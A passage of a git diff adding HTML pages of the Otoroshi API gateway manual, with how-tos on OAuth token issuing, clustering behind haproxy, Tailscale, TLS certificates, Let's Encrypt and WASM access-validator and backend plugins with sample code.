  • +
+

Once the global configuration saved, we can deployed a simple service to test it.

+

Let’s navigate to the routes page, and create a new route with :

+
    +
  1. foo.oto.tools as domain in the frontend node
  2. +
  3. mirror.otoroshi.io as hostname in the list of targets of the backend node, and 443 as port.
  4. +
  5. Search in the list of plugins and add the Apikeys plugin to the flow
  6. +
  7. In the extractors section of the Apikeys plugin, disabled the Basic, Client id and Custom headers option.
  8. +
  9. Save your route
  10. +
+

Let’s make a first call, to check if the jwks are already exposed :

+
curl 'http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json'
+
+

The output should look like a list of public keys :

+
{
+  "keys": [
+    {
+      "kty": "RSA",
+      "e": "AQAB",
+      "kid": "otoroshi-intermediate-ca",
+      ...
+    }
+    ...
+  ]
+}
+
+

Let’s make a call to your route.

+
curl 'http://foo.oto.tools:8080/'
+
+

This should output the expected error:

+
{
+  "Otoroshi-Error": "No ApiKey provided"
+}
+
+

The first step is to generate an api key. Navigate to the api keys page, and create an item with the following values (it will be more easy to use them in the next step)

+
    +
  • my-id as ApiKey Id
  • +
  • my-secret as ApiKey Secret
  • +
+

The next step is to get a token by calling the endpoint http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json. The required fields are the grand type, the client and the client secret corresponding to our generated api key.

+
curl -X POST http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/token \
+-H "Content-Type: application/json" \
+-d @- <<'EOF'
+{
+  "grant_type": "client_credentials",
+  "client_id":"my-id",
+  "client_secret":"my-secret"
+}
+EOF
+
+

This request have one more optional field, named scope. The scope can be used to set a bunch of scope on the generated access token.

+

The last command should look like :

+
{
+  "access_token": "generated-token-xxxxx",
+  "token_type": "Bearer",
+  "expires_in": 3600
+}
+
+

Now we can call our api with the generated token

+
curl 'http://foo.oto.tools:8080/' \
+  -H "Authorization: Bearer generated-token-xxxxx"
+
+

This should output a successful call with the list of headers with a field named Authorization containing the previous access token.

+

Other possible configuration

+

By default, Otoroshi generate the access token with the specified key pair in the configuration. But, in some case, you want a specific key pair by client_id/client_secret. The jwt-sign-keypair metadata can be set on any api key with the id of the key pair as value.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/setup-otoroshi-cluster.html b/docs/manual/how-to-s/setup-otoroshi-cluster.html new file mode 100644 index 0000000000..13c7f2bdd6 --- /dev/null +++ b/docs/manual/how-to-s/setup-otoroshi-cluster.html @@ -0,0 +1,513 @@ + + + + +Setup an Otoroshi cluster · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Setup an Otoroshi cluster

+
+Route plugins: +Additional Headers In +
+

In this tutorial, you create an cluster of Otoroshi.

+

Summary

+
    +
  1. Deploy an Otoroshi cluster with one leader and 2 workers
  2. +
  3. Add a load balancer in front of the workers
  4. +
  5. Validate the installation by adding a header on the requests
  6. +
+

Let’s start by downloading the latest jar of Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

Then create an instance of Otoroshi and indicates with the otoroshi.cluster.mode environment variable that it will be the leader.

+
java -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar
+
+

Let’s create two Otoroshi workers, exposed on :8082/:8092 and :8083/:8093 ports, and setting the leader URL in the otoroshi.cluster.leader.urls environment variable.

+

The first worker will listen on the :8082/:8092 ports

+
java \
+  -Dotoroshi.cluster.worker.name=worker-1 \
+  -Dhttp.port=8092 \
+  -Dhttps.port=9092 \
+  -Dotoroshi.cluster.mode=worker \
+  -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar
+
+

The second worker will listen on the :8083/:8093 ports

+
java \
+  -Dotoroshi.cluster.worker.name=worker-2 \
+  -Dhttp.port=8093 \
+  -Dhttps.port=9093 \
+  -Dotoroshi.cluster.mode=worker \
+  -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar
+
+

Once launched, you can navigate to the cluster view. The cluster is now configured, you can see the 3 instances and some health informations on each instance.

+

To complete our installation, we want to spread the incoming requests accross otoroshi worker instances.

+

In this tutorial, we will use haproxy has a TCP loadbalancer. If you don’t have haproxy installed, you can use docker to run an haproxy instance as explained below.

+

But first, we need an haproxy configuration file named haproxy.cfg with the following content :

+
frontend front_nodes_http
+    bind *:8080
+    mode tcp
+    default_backend back_http_nodes
+    timeout client          1m
+
+backend back_http_nodes
+    mode tcp
+    balance roundrobin
+    server node1 host.docker.internal:8092 # (1)
+    server node2 host.docker.internal:8093 # (1)
+    timeout connect        10s
+    timeout server          1m
+
+

and run haproxy with this config file

+
+
no docker
+
+
haproxy -c -f ./haproxy.cfg
+
docker (on linux) +
+
+
docker run -p 8080:8080 -v $(pwd)/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro --add-host=host.docker.internal:host-gateway haproxy
+
docker (on macos) +
+
+
docker run -p 8080:8080 -v $(pwd)/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro haproxy
+
docker (on windows) +
+
+
docker run -p 8080:8080 -v $(pwd)/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro haproxy
+
+

The last step is to create a route, add a rule to add, in the headers, a specific value to identify the worker used.

+

Create this route, exposed on http://api.oto.tools:xxxx, which will forward all requests to the mirror https://mirror.otoroshi.io.

+
curl -X POST 'http://otoroshi-api.oto.tools:8091/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "myapi",
+  "frontend": {
+    "domains": ["api.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+        "enabled": true,
+        "plugin": "cp:otoroshi.next.plugins.AdditionalHeadersIn",
+        "config": {
+            "headers": {
+                "worker-name": "${config.otoroshi.cluster.worker.name}"
+            }
+        }
+    }
+  ]
+}
+EOF
+
+

Once created, call two times the service. If all is working, the header received by the backend service will have worker-1 and worker-2 as value.

+
curl 'http://api.oto.tools:8080'
+## Response headers
+{
+    ...
+    "worker-name": "worker-2"
+    ...
+}
+
+

This should output worker-1, then worker-2, etc. Well done, your loadbalancing is working and your cluster is set up correctly.

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/tailscale-integration.html b/docs/manual/how-to-s/tailscale-integration.html new file mode 100644 index 0000000000..0583a5f97f --- /dev/null +++ b/docs/manual/how-to-s/tailscale-integration.html @@ -0,0 +1,419 @@ + + + + +Tailscale integration · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Tailscale integration

+

Tailscale is a VPN service that let you create your own private network based on Wireguard. Tailscale goes beyond the simple meshed wireguard based VPN and offers out of the box NAT traversal, third party identity provider integration, access control, magic DNS and let’s encrypt integration for the machines on your VPN.

+

Otoroshi provides somes plugins out of the box to work in a Tailscale environment.

+

by default Otoroshi, works out of the box when integrated in a tailnet as you can contact other machines usign their ip address. But we can go a little bit further.

+

tailnet configuration

+

first thing, go to your tailnet setting on tailscale.com and go to the DNS tab. Here you can find

+
    +
  • your tailnet name: the domain name of all your machines on your tailnet
  • +
  • MagicDNS: a way to address your machines by directly using their names
  • +
  • HTTPS Certificates: HTTPS certificates provision for all your machines
  • +
+

to use otoroshi Tailscale plugin you must enable MagicDNS and HTTPS Certificates

+

Tailscale certificates integration

+

you can use tailscale generated let’s encrypt certificates in otoroshi by using the Tailscale certificate fetcher job in the plugins section of the danger zone. Once enabled, this job will fetch certificates for domains in xxxx.ts.net that belong to your tailnet.

+

as usual, the fetched certificates will be available in the certificates page of otoroshi.

+

Tailscale targets integration

+

the following pair of plugins let your contact tailscale machine by using their names even if their are multiple instance.

+

when you register a machine on a tailnet, you have to provide a name for it, let say my-server. This machine will be addressable in your tailnet with my-server.tailxxx.ts.net. But if you have multiple instance of the same server on several machines with the same my-server name, their DNS name on the tailnet will be my-server.tailxxx.ts.net, my-server-1.tailxxx.ts.net, my-server-2.tailxxx.ts.net, etc. If you want to use those names in an otoroshi backend it could be tricky if the application has something like autoscaling enabled.

+

in that case, you can add the Tailscale targets job in the plugins section of the danger zone. Once enabled, this job will fetch periodically available machine on the tailnet with their names and DNS names. Then, in a route, you can use the Tailscale select target by name plugin to tell otoroshi to loadbalance traffic between all machine that have the name specified in the plugin config. instead of their DNS name.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/tls-termination-using-own-certificates.html b/docs/manual/how-to-s/tls-termination-using-own-certificates.html new file mode 100644 index 0000000000..5beb34ce82 --- /dev/null +++ b/docs/manual/how-to-s/tls-termination-using-own-certificates.html @@ -0,0 +1,515 @@ + + + + +TLS termination using your own certificates · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

TLS termination using your own certificates

+

The goal of this tutorial is to expose a service via https using a certificate generated by openssl.

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Try to call the service.

+
curl 'http://myservice.oto.tools:8080'
+
+

This should output something like

+
{
+  "method": "GET",
+  "path": "/",
+  "headers": {
+    "host": "mirror.opunmaif.io",
+    "accept": "*/*",
+    "user-agent": "curl/7.64.1",
+    "x-forwarded-port": "443",
+    "opun-proxied-host": "mirror.otoroshi.io",
+    "otoroshi-request-id": "1463145856319359618",
+    "otoroshi-proxied-host": "myservice.oto.tools:8080",
+    "opun-gateway-request-id": "1463145856554240100",
+    "x-forwarded-proto": "https",
+  },
+  "body": ""
+}
+
+

Let’s try to call the service in https.

+
curl 'https://myservice.oto.tools:8443'
+
+

This should output

+
curl: (35) LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to myservice.oto.tools:8443
+
+

To fix it, we have to generate a certificate and import it in Otoroshi to match the domain myservice.oto.tools.

+
+

If you already had a certificate you can skip the next set of commands and directly import your certificate in Otoroshi

+
+

We will use openssl to generate a private key and a self-signed certificate.

+
openssl genrsa -out myservice.key 4096
+# remove pass phrase
+openssl rsa -in myservice.key -out myservice.key
+# generate the certificate authority cert
+openssl req -new -x509 -sha256 -days 730 -key myservice.key -out myservice.cer -subj "/CN=myservice.oto.tools"
+
+

Check the content of the certificate

+
openssl x509 -in myservice.cer -text
+
+

This should contains something like

+
Certificate:
+    Data:
+        Version: 1 (0x0)
+        Serial Number: 9572962808320067790 (0x84d9fef455f188ce)
+    Signature Algorithm: sha256WithRSAEncryption
+        Issuer: CN=myservice.oto.tools
+        Validity
+            Not Before: Nov 23 14:25:55 2021 GMT
+            Not After : Nov 23 14:25:55 2022 GMT
+        Subject: CN=myservice.oto.tools
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (4096 bit)
+                Modulus:
+...
+
+

Once generated, go back to Otoroshi and navigate to the certificates management page (top right cog icon / SSL/TLS certificates or at /bo/dashboard/certificates) and click on Add item.

+

Set myservice-certificate as name and description.

+

Drop the myservice.cer file or copy the content to the Certificate full chain field.

+

Do the same action for the myservice.key file in the Certificate private key field.

+

Set your passphrase password in the private key password field if you added one.

+

Let’s try the same call to the service.

+
curl 'https://myservice.oto.tools:8443'
+
+

An error should occurs due to the untrsuted received certificate server

+
curl: (60) SSL certificate problem: self signed certificate
+More details here: https://curl.haxx.se/docs/sslcerts.html
+
+curl failed to verify the legitimacy of the server and therefore could not
+establish a secure connection to it. To learn more about this situation and
+how to fix it, please visit the web page mentioned above.
+
+

End this tutorial by trusting the certificate server

+
curl 'https://myservice.oto.tools:8443' --cacert myservice.cer
+
+

This should finally output

+
{
+  "method": "GET",
+  "path": "/",
+  "headers": {
+    "host": "mirror.opunmaif.io",
+    "accept": "*/*",
+    "user-agent": "curl/7.64.1",
+    "x-forwarded-port": "443",
+    "opun-proxied-host": "mirror.otoroshi.io",
+    "otoroshi-request-id": "1463158439730479893",
+    "otoroshi-proxied-host": "myservice.oto.tools:8443",
+    "opun-gateway-request-id": "1463158439558515871",
+    "x-forwarded-proto": "https",
+    "sozu-id": "01FN6MGKSYZNJYHEMP4R5PJ4Q5"
+  },
+  "body": ""
+}
+
+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/tls-using-lets-encrypt.html b/docs/manual/how-to-s/tls-using-lets-encrypt.html new file mode 100644 index 0000000000..6eee406ff6 --- /dev/null +++ b/docs/manual/how-to-s/tls-using-lets-encrypt.html @@ -0,0 +1,410 @@ + + + + +TLS termination using Lets Encrypt · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

TLS termination using Let’s Encrypt

+

As you know, Otoroshi is capable of doing TLS termination for your services. You can import your own certificates, generate certificates from scratch and you can also use the ACME protocol to generate certificates. One of the most popular service offering ACME certificates creation is Let’s Encrypt.

Warning
+

In order to make this tutorial work, your otoroshi instance MUST be accessible from the internet in order to be reachable by Let’s Encrypt ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.

Note
+

this tutorial can work with any ACME provider with the same rules. your otoroshi instance MUST be accessible by the ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.

+

Setup let’s encrypt on otoroshi

+

Go on the danger zone page by clicking on the cog icon / Danger Zone. Scroll to the Let's Encrypt settings section. Enable it, and specify the address of the ACME server (for production Let’s Encrypt it’s acme://letsencrypt.org, for testing, it’s acme://letsencrypt.org/staging. Any ACME server address should work). You can also add one or more email addresses or contact urls that will be included in your Let’s Encrypt account. You don’t have to fill the public/private key inputs as they will be automatically generated on the first usage.

+

Creating let’s encrypt certificate from FQDNs

+

You can go to the certificates page by clicking on the cog icon / SSL/TLS Certificates. Here, click on the + Let's Encrypt certificate button. A popup will show up to ask you the FQDN that you want for you certificate. Once done, click on the Create button. A few moment later, you will be redirected on a brand new certificate generated by Let’s encrypt. You can now enjoy accessing your service behind the FQDN with TLS.

+

Creating let’s encrypt certificate from a service

+

You can go to any service page and enable the flag Issue Let's Encrypt cert.. Do not forget to save your service. A few moment later, the certificates will be available in the certificates page and you can will be able to enjoy accessing your service with TLS.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/wasm-usage.html b/docs/manual/how-to-s/wasm-usage.html new file mode 100644 index 0000000000..e6f045ba89 --- /dev/null +++ b/docs/manual/how-to-s/wasm-usage.html @@ -0,0 +1,946 @@ + + + + +Using wasm plugins · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Using wasm plugins

+

WebAssembly (WASM) is a simple machine model and executable format with an extensive specification. It is designed to be portable, compact, and execute at or near native speeds. Otoroshi already supports the execution of WASM files by providing different plugins that can be applied on routes. You can find more about those plugins here

+

To simplify the process of WASM creation and usage, Otoroshi provides:

+
    +
  • otoroshi ui integration: a full set of plugins that let you pick which WASM function to runtime at any point in a route
  • +
  • otoroshi wasmo: a code editor in the browser that let you write your plugin in Rust, TinyGo, Javascript or Assembly Script without having to think about compiling it to WASM (you can find a complete tutorial about it here)
  • +
+
+

Tutorial

+
    +
  1. Before your start
  2. +
  3. Create the route with the plugin validator
  4. +
  5. Test your validator
  6. +
  7. Update the route by replacing the backend with a WASM file
  8. +
  9. WASM backend test
  10. +
  11. Expose a single file as WASM backend
  12. +
+

After completing these steps you will have a route that uses WASM plugins written in Rust.

+

Before your start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Create the route with the plugin validator

+

For this tutorial, we will start with an existing wasm file. The main function of this file will check the value of an http header to allow access or not. The can find this file at https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm

+

The main function of this validator, written in rust, should look like:

+
+
validator.rs +
+
+
mod types;
+
+use extism_pdk::*;
+
+#[plugin_fn]
+pub fn execute(Json(context): Json<types::WasmAccessValidatorContext>) -> FnResult<Json<types::WasmAccessValidatorResponse>> {
+  let out = types::WasmAccessValidatorResponse { 
+  result: false, 
+  error: Some(types::WasmAccessValidatorError { 
+      message: "you're not authorized".to_owned(),  
+      status: 401
+    })  
+  };
+
+  match context.request.headers.get("foo") {
+      Some(foo) => if foo == "bar" {
+        Ok(Json(types::WasmAccessValidatorResponse { 
+          result: true,
+          error: None
+        }))
+      } else {
+        Ok(Json(types::WasmAccessValidatorResponse { 
+          result: false, 
+          error: Some(types::WasmAccessValidatorError { 
+              message: format!("{} is not authorized", foo).to_owned(),  
+              status: 401
+            })  
+          }))
+      },
+      None => Ok(Json(out))
+  }
+
+}
+
validator.js +
+
+
export function execute() {
+  let context = JSON.parse(Host.inputString());
+
+    if (context.request.headers["foo"] === "bar") {
+        const out = {
+            result: true
+        };
+        Host.outputString(JSON.stringify(out));
+    } else {
+        const error = {
+            result: false,
+            error: {
+                message: "you're not authorized",
+                status: 401
+            }
+        };
+        Host.outputString(JSON.stringify(error));
+    }
+
+    return 0;
+}
+
validator.ts +
+
+
import { WasmAccessValidatorContext, WasmAccessValidatorResponse } from './types';
+
+export declare var Host: any;
+
+export function execute() {
+    let context = JSON.parse(Host.inputString()) as WasmAccessValidatorContext;
+
+    if (context.request.headers["foo"] === "bar") {
+        const out: WasmAccessValidatorResponse = {
+            result: true
+        };
+        Host.outputString(JSON.stringify(out));
+    } else {
+        const error: WasmAccessValidatorResponse = {
+            result: false,
+            error: {
+                message: "you're not authorized",
+                status: 401
+            }
+        };
+        Host.outputString(JSON.stringify(error));
+    }
+
+    return 0;
+}
+
validator.js +
+
+
export function execute() {
+  let context = JSON.parse(Host.inputString());
+
+    if (context.request.headers["foo"] === "bar") {
+        const out = {
+            result: true
+        };
+        Host.outputString(JSON.stringify(out));
+    } else {
+        const error = {
+            result: false,
+            error: {
+                message: "you're not authorized",
+                status: 401
+            }
+        };
+        Host.outputString(JSON.stringify(error));
+    }
+
+    return 0;
+}
+
validator.go +
+
+
package main
+
+import (
+    "github.com/extism/go-pdk"
+    "github.com/buger/jsonparser"
+)
+
+//export execute
+func execute() int32 {
+    input := pdk.Input()
+
+    var foo, err = jsonparser.GetString(input, "request", "headers", "foo")
+
+    if err != nil {}
+
+    var output = ""
+  
+    if foo == "bar" {
+      output = `{
+        "result": true
+      }`
+    } else {
+      output = `{
+        "result": false,
+        "error": {
+          "message": "you're not authorized",
+          "status": 401
+        }
+      }`
+    }
+    
+    mem := pdk.AllocateString(output)
+    pdk.OutputMemory(mem)
+
+    return 0
+}
+
+func main() {}
+
+

The plugin receives the request context from Otoroshi (the matching route, the api key if present, the headers, etc) as WasmAccessValidatorContext object. Then it applies a check on the headers, and responds with an error or success depending on the content of the foo header. Obviously, the previous snippet is an example and the editor allows you to write whatever you want as a check.

+

Let’s create a route that uses the previous wasm file as an access validator plugin :

+
curl -X POST "http://otoroshi-api.oto.tools:8080/api/routes" \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "id": "demo-otoroshi",
+  "name": "demo-otoroshi",
+  "frontend": {
+    "domains": ["demo-otoroshi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ],
+    "load_balancing": {
+      "type": "RoundRobin"
+    }
+  },
+  "plugins": [
+    {
+      "plugin": "cp:otoroshi.next.plugins.OverrideHost",
+      "enabled": true
+    },
+    {
+      "plugin": "cp:otoroshi.next.plugins.WasmAccessValidator",
+      "enabled": true,
+      "config": {
+        "source": {
+          "kind": "http",
+          "path": "https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm",
+          "opts": {}
+        },
+        "memoryPages": 4,
+        "functionName": "execute"
+      }
+    }
+  ]
+}
+EOF
+
+

This request will apply the following process:

+
    +
  • names the route demo-otoroshi
  • +
  • creates a frontend exposed on the demo-otoroshi.oto.tools
  • +
  • forward requests on one target, reachable at mirror.otoroshi.io using TLS on port 443
  • +
  • adds the WasmAccessValidator plugin to validate access based on the foo header to the route
  • +
+

You can validate the route creation by navigating to the dashboard

+

Test your validator

+
curl "http://demo-otoroshi.oto.tools:8080" -I
+
+

This should output the following error:

+
HTTP/1.1 401 Unauthorized
+
+

Let’s call again the route by adding the header foo with the bar value.

+
curl "http://demo-otoroshi.oto.tools:8080" -H "foo:bar" -I
+
+

This should output the successfull message:

+
HTTP/1.1 200 OK
+
+

Update the route by replacing the backend with a WASM file

+

The next step in this tutorial is to use a WASM file as backend of the route. We will use an existing WASM file, available in our wasm demos repository on github. The content of this plugin, called wasm-target.wasm, looks like:

+
+
target.rs +
+
+
// (1)
+mod types;
+
+// (2)
+use extism_pdk::*;
+use std::collections::HashMap;
+
+#[plugin_fn]
+pub fn execute(Json(context): Json<types::WasmQueryContext>) -> FnResult<Json<types::WasmQueryResponse>> {
+    // (3)
+    let mut headers = HashMap::new();
+    headers.insert("foo".to_string(), "bar".to_string());
+
+    // (4)
+    let response = types::WasmQueryResponse { 
+        headers: Some(headers.into_iter().chain(context.raw_request.headers).collect()), 
+        body: "{\"foo\": \"bar\"}".to_owned(),
+        status: 200
+    };
+  
+    Ok(Json(response))
+}
+
target.js +
+
+
// (2)
+export function execute() {
+  let str = Host.inputString();
+  let context = JSON.parse(str);
+  
+  // (3)
+  let headers = { ...context.request.headers };
+  headers["foo"] = "bar";
+
+  // (4)
+  let response = {
+    headers,
+    body: "{\"foo\": \"bar\"}",
+    status: 200
+  };
+  
+  Host.outputString(JSON.stringify(response));
+
+  return 0;
+}
+
target.ts +
+
+
// (1)
+import { WasmQueryContext, WasmQueryResponse } from './types';
+
+export declare var Host: any;
+
+// (2)
+export function execute() {
+    const context = JSON.parse(Host.inputString()) as WasmQueryContext;
+
+    // (3)
+    const headers = {
+      "foo": "bar",
+      ...(context.request.headers || {})
+    }
+
+    // (4)
+    const response: WasmQueryResponse = {
+        headers,
+        status: 200,
+        body: "{\"foo\": \"bar\"}"
+    };
+    Host.outputString(JSON.stringify(response));
+
+    return 0;
+}
+
target.go +
+
+
package main
+
+// (1)
+import (
+    "github.com/extism/go-pdk"
+    "github.com/buger/jsonparser"
+)
+
+// (2)
+//export execute
+func execute() int32 {
+    input := pdk.Input() 
+
+    // (3)
+    var headers, dataType, offset, err = jsonparser.Get(input, "request", "headers")
+
+    _ = dataType
+    _ = offset
+
+    if err != nil {}
+
+    // (4)
+    output := `{"headers":` +  string(headers) + `, "body": {\"foo\": \"bar\"}, "status": 200 }`
+    mem := pdk.AllocateString(output)
+    pdk.OutputMemory(mem)
+
+    return 0
+}
+
+func main() {}
+
+

Let’s explain this snippet. The purpose of this type of plugin is to respond an HTTP response with http status, body and headers map.

+
    +
  1. Includes all public structures from types.rs file. This file contains predefined Otoroshi structures that plugins can manipulate.
  2. +
  3. Necessary imports. Extism’s goal is to make all software programmable by providing a plug-in system.
  4. +
  5. Creates a map of new headers that will be merged with incoming request headers.
  6. +
  7. Creates the response object with the map of merged headers, a simple JSON body and a successfull status code.
  8. +
+

The file is downloadable here.

+

Let’s update the route using the this wasm file.

+
curl -X PUT "http://otoroshi-api.oto.tools:8080/api/routes/demo-otoroshi" \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "id": "demo-otoroshi",
+  "name": "demo-otoroshi",
+  "frontend": {
+    "domains": ["demo-otoroshi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ],
+    "load_balancing": {
+      "type": "RoundRobin"
+    }
+  },
+  "plugins": [
+    {
+      "plugin": "cp:otoroshi.next.plugins.OverrideHost",
+      "enabled": true
+    },
+    {
+      "plugin": "cp:otoroshi.next.plugins.WasmAccessValidator",
+      "enabled": true,
+      "config": {
+         "source": {
+          "kind": "http",
+          "path": "https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm",
+          "opts": {}
+        },
+        "memoryPages": 4,
+        "functionName": "execute"
+      }
+    },
+    {
+      "plugin": "cp:otoroshi.next.plugins.WasmBackend",
+      "enabled": true,
+      "config": {
+         "source": {
+          "kind": "http",
+          "path": "https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/wasm-target.wasm",
+          "opts": {}
+        },
+        "memoryPages": 4,
+        "functionName": "execute"
+      }
+    }
+  ]
+}
+EOF
+
+

The response should contains the updated route content.

+

WASM backend test

+

Let’s call our route.

+
curl "http://demo-otoroshi.oto.tools:8080" -H "foo:bar" -H "fifi: foo" -v
+
+

This should output:

+
*   Trying 127.0.0.1:8080...
+* Connected to demo-otoroshi.oto.tools (127.0.0.1) port 8080 (#0)
+> GET / HTTP/1.1
+> Host: demo-otoroshi.oto.tools:8080
+> User-Agent: curl/7.79.1
+> Accept: */*
+> foo:bar
+> fifi:foo
+>
+* Mark bundle as not supporting multiuse
+< HTTP/1.1 200 OK
+< foo: bar
+< Host: demo-otoroshi.oto.tools:8080
+<
+* Closing connection 0
+{"foo": "bar"}
+
+

In this response, we can find our headers send in the curl command and those added by the wasm plugin.

+

Expose a single file as WASM backend

+

A WASM backend plugin can directly expose a file written in Wasmo. This is the simplest possibility to write HTML, Javascript, JSON or expose a simple PNG image.

+

Let’s expose a HTML page. In your Wasmo instance, execute the following instructions:

+
    +
  1. Click the new plugin button
  2. +
  3. Add a name and validate
  4. +
  5. Click the new plugin
  6. +
  7. Create a new file named index.html
  8. +
  9. Copy and paste the following content
  10. +
+
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Wasmo plugin</title>
+  </head>
+  <body>
+    <h1>Hello from Wasmo</h1>
+  </body>
+</html>
+
+

This snippet is a short HTML template with a title to indicate that it comes from Wasmo.

+

Now we can write our javascript function to parse and return the content of our HTML to Otoroshi.

+
    +
  1. Navigate to the index.js file
  2. +
  3. Replace the content with the following content
  4. +
+
import IndexPage from "./index.html";
+
+export function execute() {
+  let response = {
+    headers: {
+      "Content-Type": "text/html; charset=utf-8",
+    },
+    body: IndexPage,
+    status: 200,
+  };
+
+  Host.outputString(JSON.stringify(response));
+
+  return 0;
+}
+
+

The code is pretty self-explanatory. We start by importing our HTML page and we build the response with the correct content type, the body and a 200 http status.

+

Just before testing, we need to change the esbuild configuration to specify how to bundle the HTML file.

+

The contents of your esbuild.js file should look this:

+
const esbuild = require("esbuild");
+
+esbuild.build({
+  entryPoints: ["index.js"],
+  outdir: "dist",
+  bundle: true,
+  loader: {
+    ".html": "text",
+  },
+  sourcemap: true,
+  minify: false, // might want to use true for production build
+  format: "cjs", // needs to be CJS for now
+  target: ["es2020"], // don't go over es2020 because quickjs doesn't support it
+});
+
+

Check your browser at http://demo-otoroshi.oto.tools:8080 and you should see your page content updated to the new text.

+

If you need to expose more than a HTML page, we highly recommend to use the Zip Backend plugin

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
